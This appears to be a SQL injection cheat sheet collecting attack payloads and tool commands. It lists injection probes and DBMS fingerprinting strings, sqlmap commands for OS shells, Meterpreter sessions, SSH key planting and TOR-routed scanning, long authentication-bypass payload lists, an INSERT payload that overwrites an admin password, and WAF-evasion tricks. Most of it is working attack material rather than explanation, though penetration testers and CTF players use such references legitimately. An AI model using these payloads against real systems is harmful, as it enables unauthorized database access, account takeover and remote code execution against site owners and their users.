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SQL Injection

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.

Attempting to manipulate SQL queries may have goals including: - Information Leakage - Disclosure of stored data - Manipulation of stored data - Bypassing authorization controls

Summary

Tools

  • sqlmapproject/sqlmap - Automatic SQL injection and database takeover tool
  • r0oth3x49/ghauri - An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws

Entry point detection

Detection of an SQL injection entry point

  • Error Messages: Inputting special characters (e.g., a single quote ') into input fields might trigger SQL errors. If the application displays detailed error messages, it can indicate a potential SQL injection point.
  • Simple characters 
    '
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
'  # required for XML content
  • Multiple encoding 
    %%2727
%25%27

  • Unicode characters 

    Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (')

  • Tautology-Based SQL Injection: By inputting tautological (always true) conditions, you can test for vulnerabilities. For instance, entering admin' OR '1'='1 in a username field might log you in as the admin if the system is vulnerable.

  • Merging characters 
    `+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP

  • Logic Testing 

    page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

  • Timing Attacks: Inputting SQL commands that cause deliberate delays (e.g., using SLEEP or BENCHMARK functions in MySQL) can help identify potential injection points. If the application takes an unusually long time to respond after such input, it might be vulnerable.

DBMS Identification

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

DBMS Identification VIA Error

DBMS Example Error Message Example Payload
MySQL You have an error in your SQL syntax; ... near '' at line 1 '
PostgreSQL ERROR: unterminated quoted string at or near "'" '
PostgreSQL ERROR: syntax error at or near "1" 1'
Microsoft SQL Server Unclosed quotation mark after the character string ''. '
Microsoft SQL Server Incorrect syntax near ''. '
Microsoft SQL Server The conversion of the varchar value to data type int resulted in an out-of-range value. 1'
Oracle ORA-00933: SQL command not properly ended '
Oracle ORA-01756: quoted string not properly terminated '
Oracle ORA-00923: FROM keyword not found where expected 1'
------------------------------------------------------------------------------------------------------------------------------------

SQL injection using SQLmap

sqlmapproject/sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities and taking over database servers.

Basic arguments for SQLmap

sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs

Load a request file and use mobile user-agent

sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1

Custom injection in UserAgent/Header/Referer/Cookie

python sqlmap.py -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

  • SQL Shell: python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
  • OS Shell: python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
  • Meterpreter: python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
  • SSH Shell: python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/

Crawl a website with SQLmap and auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Using TOR with SQLmap

sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5

Using a proxy with SQLmap

sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"

sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080"  -f  --time-sec 15 --level 3

Using suffix to tamper the injection

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

General tamper option and tamper's list

tamper=name_of_the_tamper
Tamper Description
0x2char.py Replaces each (MySQL) 0x encoded string with equivalent CONCAT(CHAR(),…) counterpart
apostrophemask.py Replaces apostrophe character with its UTF-8 full width counterpart
apostrophenullencode.py Replaces apostrophe character with its illegal double unicode counterpart
appendnullbyte.py Appends encoded NULL byte character at the end of payload
base64encode.py Base64 all characters in a given payload
between.py Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
bluecoat.py Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator
chardoubleencode.py Double url-encodes all characters in a given payload (not processing already encoded)
charencode.py URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)
charunicodeencode.py Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)
charunicodeescape.py Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)
commalesslimit.py Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'
commalessmid.py Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'
commentbeforeparentheses.py Prepends (inline) comment before parentheses (e.g. ( -> /**/()
concat2concatws.py Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Url-encodes all characters in a given payload (not processing already encoded)
charunicodeencode.py Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)
equaltolike.py Replaces all occurrences of operator equal ('=') with operator 'LIKE'
escapequotes.py Slash escape quotes (' and ")
greatest.py Replaces greater than operator ('>') with 'GREATEST' counterpart
halfversionedmorekeywords.py Adds versioned MySQL comment before each keyword
htmlencode.py HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ')
ifnull2casewhenisnull.py Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart
ifnull2ifisnull.py Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
informationschemacomment.py Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier
least.py Replaces greater than operator (‘>’) with ‘LEAST’ counterpart
lowercase.py Replaces each keyword character with lower case value (e.g. SELECT -> select)
modsecurityversioned.py Embraces complete query with versioned comment
modsecurityzeroversioned.py Embraces complete query with zero-versioned comment
multiplespaces.py Adds multiple spaces around SQL keywords
nonrecursivereplacement.py Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters
overlongutf8.py Converts all characters in a given payload (not processing already encoded)
overlongutf8more.py Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
percentage.py Adds a percentage sign ('%') infront of each character
plus2concat.py Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart
plus2fnconcat.py Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart
randomcase.py Replaces each keyword character with random case value
randomcomments.py Add random comments to SQL keywords
securesphere.py Appends special crafted string
sp_password.py Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
space2comment.py Replaces space character (' ') with comments
space2dash.py Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
space2hash.py Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2morehash.py Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2mssqlblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mssqlhash.py Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
space2mysqlblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mysqldash.py Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
space2plus.py Replaces space character (' ') with plus ('+')
space2randomblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
symboliclogical.py Replaces AND and OR logical operators with their symbolic counterparts (&& and
unionalltounion.py Replaces UNION ALL SELECT with UNION SELECT
unmagicquotes.py Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)
uppercase.py Replaces each keyword character with upper case value 'INSERT'
varnish.py Append a HTTP header 'X-originating-IP'
versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment
versionedmorekeywords.py Encloses each keyword with versioned MySQL comment
xforwardedfor.py Append a fake HTTP header 'X-Forwarded-For'

SQLmap without SQL injection

You can use SQLmap to access a database via its port instead of a URL.

sqlmap.py -d "mysql://user:pass@ip/database" --dump-all

Authentication bypass

'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer 
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Authentication Bypass (Raw MD5 SHA1)

When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Allowing an attacker to craft a string with a true statement such as ' or 'SOMETHING

md5("ffifdyop", true) = 'or'6�]��!r,��b
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Challenge demo available at http://web.jarvisoj.com:32772

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

/* MySQL only */
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/

Routed injection

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Insert Statement - ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

Inject using payload:
  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!

Generic WAF Bypass

White spaces alternatives

  • No space allowed (%20) - bypass using whitespace alternatives 
    ?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
  • No whitespace - bypass using comments 
    ?id=1/*comment*/and/**/1=1/**/--
  • No Whitespace - bypass using parenthesis 
    ?id=(1)and(1)=(1)--
  • Whitespace alternatives by DBMS 
    -- Example of query where spaces were replaced by ascii characters above 0x80
♀SELECT§*⌂FROM☺users♫WHERE♂1☼=1‼
DBMS ASCII characters in hexadicimal
SQLite3 0A, 0D, 0C, 09, 20
MySQL 5 09, 0A, 0B, 0C, 0D, A0, 20
MySQL 3 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0
PostgreSQL 0A, 0D, 0C, 09, 20
Oracle 11g 00, 0A, 0D, 0C, 09, 20
MSSQL 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20

No Comma Allowed

Bypass using OFFSET, FROM and JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

No Equal Allowed

Bypass using LIKE/NOT IN/IN/BETWEEN

?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4

Case modification

  • Bypass using uppercase/lowercase (see keyword AND) 
    ?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
  • Bypass using keywords case insensitive / Bypass using an equivalent operator 
    AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, BETWEEN, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING

Labs

References